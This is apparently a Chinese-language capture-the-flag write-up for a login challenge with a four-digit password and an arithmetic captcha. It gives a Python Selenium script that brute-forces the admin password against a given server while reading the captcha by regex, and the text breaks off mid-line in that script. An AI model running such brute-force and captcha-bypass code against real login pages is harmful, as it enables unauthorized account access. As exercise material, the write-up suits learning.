题目给出信息:
用户名为 admin
密码为四位数字
验证码为一个表达式的结果
验证码错误会导致密码重置
想到可以使用python来反复尝试暴力破解,同时保证验证码不会出错。
代码:
from selenium import webdriver#使用selenium模拟人对浏览器的操作
import re#用 正则表达式 匹配读取 代表 验证码 的表达式
if __name__ == '__main__':
location = r'C:\Program Files\Mozilla Firefox\firefox.exe'#自己浏览器exe的位置
driver = webdriver.Firefox(firefox_binary=location)#根据自己浏览器类型选择
driver.get("http://42.193.53.250:18817/")
jUsername = driver.find_element_by_id('username')
jUsername.send_keys("admin")
result = "Wrong username or password"
trialPassword = 0
while result == "Wrong username or password":
jPassword = driver.find_element_by_id('password')
jPassword.clear()
jPassword.send_keys(str(trialPassword).zfill(4))#不足四位时填充0
math = re.search(r"arithmetic